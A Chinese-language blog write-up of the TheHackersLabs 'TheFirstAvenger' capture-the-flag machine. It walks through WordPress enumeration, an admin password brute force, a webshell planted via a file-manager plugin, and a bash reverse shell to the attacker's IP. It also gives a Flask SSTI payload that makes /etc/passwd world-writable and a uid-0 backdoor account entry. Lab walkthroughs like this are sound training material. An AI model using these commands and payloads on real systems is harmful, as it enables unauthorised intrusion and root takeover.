TheHackersLabs TheFirstAvenger writeup

信息收集

nmap

image

获取userFlag

上web看一下

image

只有一个静态页面,gobuster扫一下目录

gobuster dir -u http://192.168.43.36/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image

去访问这个目录

image

右键看一下源码

image

添加到hosts后再次访问,然后往下翻到末尾,可以看出该博客用的cms是wordpress

image

然后就是通过wpscan扫一下主题,插件,用户之类的

wpscan --api-token 你自己的api-token --url http://192.168.43.36/wp1 --plugins-detection aggressive -e u,ap

# --plugins-detection:设置插件检测的激进程度,aggressive表示进行更深度的扫描
# -e:枚举
# u:用户名
# ap:所有插件

image

这里没有找到用户,但找到了一个插件:stop user enumeration 1.6.3。从名字上就知道该插件的作用就是阻止我们通过枚举的方式获得后台用户名,这也是为什么没有枚举出用户的原因。然后这里提供了一个exploit:CVE-2025-4302,关于这个CVE的描述参考:Stop User Enumeration < 1.7.3 - Protection Bypass 漏洞信息(CVE-2025-4302) - by 漏洞平台

这里我试了一下,我直接访问的话返回的是404,url编码后也是404,也就是说这个靶机可能根本就没有/wp-json/wp/v2/users/接口

image

上网查了一下,wordpress后台默认登录用户为admin

image

所以接下来的思路是去爆破admin用户

wpscan --api-token 你的api-token --url http://192.168.43.36/wp1 -U admin -P 5000.txt

image

拿到账密了,登录上去

image

然后你现在就是管理员了,那其实你想做什么都是可以的,这里我的选择是去安装一个叫 File Manager 的插件

image

这个插件的特点就是它本身允许我们直接在服务器上新建php文件,所以通过该插件相当于可以直接拿到一个webshell

image

image

image

这样就把马写进去了

image

然后就可以弹shell了

 image

可以看到,它果然是没有wp-json目录的

image

然后这里靶机的默认shell好像是sh,所以用bash弹shell的话前面要加 /bin/bash -c:

/bin/bash -c 'bash -i >& /dev/tcp/192.168.43.180/8888 0>&1'

拿到shell后先ss -lnpt看一下:

image

这里可以看到3306、7092端口都只监听在本机,那么这里的话3306应该可以获取user,而7092应该和提权有关。wordpress的数据库配置信息在wp-config.php里,先去看一下这个文件:

image

用找到的账密登录mysql

image

image

steve是系统中的普通用户,这个可以通过看/etc/passwd知道,把拿到的MD5去解密

image

切到steve上去,然后在家目录下就可以拿到userflag

userflag:8ec79c43a3329b64b687652519841323(MD5)

获取rootFlag

先curl一下7092端口,看一下上面部署的是什么

image

通过响应,可以确认7092上部署了一个http的服务,通过title来看是一个网络工具。因为现在这个端口只能在本地访问,所以如果想从外部访问的话需要先将这个端口转发出来:

ssh -g -L 0.0.0.0:9090:127.0.0.1:7092 steve@192.168.43.36 -p 22

在知道目标中系统用户的登录密码且允许ssh连接的情况下,可以在kali上执行上述命令通过ssh进行正向端口转发,作用是将目标的7092端口映射到本机的9090端口上来。然后现在访问kali的9090端口

image

然后这里我最先尝试的是命令注入

image

但失败了,从红框部分可以发现ping的实现确实是调用了系统ping命令的,那这种情况的出现应该就是后端对输入做了特殊处理,并没有直接拼接,那么现在需要去判断一下这个站点后端用的是什么。

用whatweb看一下,可以发现这个站点后端用的是pythonimage

那后端语言是python的话,web框架极大可能就是flask,所以试一下flask ssti

image

image

果然存在flask ssti,那提权的路径应该就是通过flask ssti来拿到root shell了,之后我尝试过直接弹shell,但是不管是直接 bash -i 还是 bash -c 都失败了,然后给/bin/bash添加suid权限也失败了,不知道为什么。所以这里我的选择是给/etc/passwd加777权限,然后添加一个后门账户来拿到root shell。

flask ssti payload:

{{url_for.__globals__['os'].popen('chmod 777 /etc/passwd')}}

image

然后把下面这条数据添加到文件末尾即可,密码是123,这个可以通过 openssl passwd 123 来生成

backdoor:$1$kqqv06zB$5zeN0dZ3lM6FaA34MnNRH/:0:0:hacker:/root:/bin/bash

但这里没有vim,甚至连vi也没有,所以这里要用nano来编辑。添加完之后su切过去即可

image

然后根目录下拿到rootflag

rootflag:d55518626cc68bcc7a1e7c7daef9f648(MD5)

posted @ 2025-09-05 13:35  sky2dawn  阅读(13)  评论(0)    收藏  举报